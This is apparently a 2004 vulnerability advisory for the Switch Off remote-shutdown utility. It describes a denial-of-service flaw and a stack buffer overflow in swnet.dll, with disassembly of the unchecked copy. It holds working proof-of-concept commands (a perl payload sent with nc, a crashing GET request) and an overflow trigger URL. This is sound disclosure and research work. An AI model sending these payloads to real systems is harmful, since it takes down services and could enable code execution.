Switch Off Multiple Vulnerabilities ################################### Credit: Author : Peter Winter-Smith Software: Packages : Switch Off Version : 2.3 and prior Vendor : YaSoft Vendor Url : http://yasoft.km.ru/eng/switchoff/ Vulnerability: Bug Type : Denial of Service; Stack-based Buffer Overflow Severity : Less Critical 1. Description of Software "Switch Off is a tiny easy-to-use tray-based system utility that can automatically perform various frequently used operations like shutdown or restart your computer, disconnect your current dialup connection, lock workstation, etc. It also provides fast access to this operations through system tray icon. Utility has fully customizeable Web interface, that allows you to initiate operations mentioned above remotely from any computer with web browser installed. Web interface includes WAP support, so you can control your computer from mobile phone. This utility is intended to be used by either novice or professional user, because of its intuitive interface and professional features." - Vendor's Description 2. Bug Information (a). Denial of Service bug It seems that sending an overly long packet of data (around 10240 bytes or so, followed by two CrLfs) on port 8000/tcp will cause the Switch Off application to enter an infinite loop. The faulty code lies in the attached module 'swnet.dll'. This will enable an attacker to cause the target system's CPU usage to climb to 100% and the application will deny any further requests from clients. (b). Stack-based Buffer Overflow There also exists a remotely exploitable buffer overflow within code contained in the module 'swnet.dll' which could enable an attacker to execute arbitrary code on the remote system - possibly with SYSTEM privileges (depending on the method of startup chosen by the administrator). The only major problem present is the fact that the remote attacker must have already gained the login password from another source to be able to cause the server to execute a specially crafted request which will trigger the overflow, so the exploitability of this flaw is fairly limited. While it is still possible that an administrator will not have set a password on the server, it is highly unlikely, since it is certainly not something which you would wish anyone to have unauthorised access to! The overflow can be caused by supplying an overly long 'message' parameter to the application by issuing a request similar to the following: http://127.0.0.1:8000/action.htm?action=SendMsg&message=('a'x256)('XXXX') If a password has been set, you will have to have logged in to the server before issuing a malicious request to cause the overflow. (i) Analysis of the Vulnerable Code To perform this code analysis I had to decompress the executable module 'swnet.dll' which is attached to 'swoff.exe' at execution time. If you wish to follow this code breakdown for yourself, please run UPX on the module in question before disassembling. 'upx -d swnet.dll' The procedure (found at 10002B80) which causes the overflow is called from 10003382. The return address 10003387 is placed on the stack at the address 0012FE40. * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:1000331C(C) | :1000337C 83FF02 cmp edi, 00000002 :1000337F 750E jne 1000338F :10003381 53 push ebx :10003382 E8F9F7FFFF call 10002B80 :10003387 83C404 add esp, 00000004 :1000338A E9A3000000 jmp 10003432 In the procedure 10002B80, at the offset 10002FEF data is copied with no boundaries until the ecx register reaches zero (where the ecx was the length of our 'message', divided by the length of a dword). The ecx register is decremented after each repetition of the 'movsd' instruction. This unchecked copying causes the 'message' data to leak over the memory space allocated to the buffer, and overwrite the saved return address of the procedure being executed. :10002FE4 2BF9 sub edi, ecx :10002FE6 8BC1 mov eax, ecx :10002FE8 8BF7 mov esi, edi :10002FEA 8BFA mov edi, edx :10002FEC C1E902 shr ecx, 02 :10002FEF F3A5 repz movsd :10002FF1 8BC8 mov ecx, eax :10002FF3 83E103 and ecx, 00000003 Finally once the procedure has finished, the overwritten saved return address is pop'ed off the stack by the 'ret' instruction at 10003256. 10003243 83C404 add esp, 00000004 :10003246 5F pop edi :10003247 5E pop esi :10003248 5D pop ebp :10003249 C70101000000 mov dword ptr [ecx], 00000001 :1000324F 5B pop ebx :10003250 81C4E4010000 add esp, 000001E4 :10003256 C3 ret After this point we have complete control over the address at which code execution continues, can use this to whatever malicious ends we desire! 3. Proof of Concept Code The DoS condition can be exploited by creating a file of 10240 bytes, followed by two CrLfs (carriage return, line feed), with the filesize totalling 10244 bytes. Sending this file through netcat should cause the server to stop responding: perl -e "print 'a'x10240 . chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a);" > DoS.txt nc 127.0.0.1 8000 < DoS.txt The buffer overflow issue does not seem worth writing an exploit for, since an attacker will need to have either found an unpassworded server, or obtained the password to a target server, both of which are reasonably unlikely situations. I also feel that the author may wish to fix the vulnerability before such code is made public, therefore I am opting against the release of any this point :o) If I decide to release exploit code it should reside at: - http://www.elitehaven.net/exploits.htm 4. Patches - Workarounds No patches have been released for either of these issues as of 02/01/2004. 5. Credits The discovery, analysis and exploitation of this flaw is a result of research carried out by Peter Winter-Smith. I would ask that you do not regard any of the analysis to be 'set in stone', and that if investigating this flaw you back trace the steps detailed earlier for yourself. Greets and thanks to: David and Mark Litchfield, JJ Gray (Nexus), Todd and all the packetstorm crew, Luigi Auriemma, Bahaa Naamneh, sean(gilbert(perlboy)), pv8man, nick k., Joel J. and Martine. o This document should be mirrored at: - http://www.elitehaven.net/switchoff.txt UPDATE 02/01/2004: ------------------ I neglected to mention the fact that just issuing a regular HTTP GET request with no other headers seems to cause the application to error within the module 'msvcrt.dll'. I have not attempted to investigate why this happens. Such a request may be as follows: ------------[DoS2.txt]------------ GET / HTTP/1.1 ---------------------------------- nc 127.0.0.1 8000 < DoS2.txt The application should error ;o)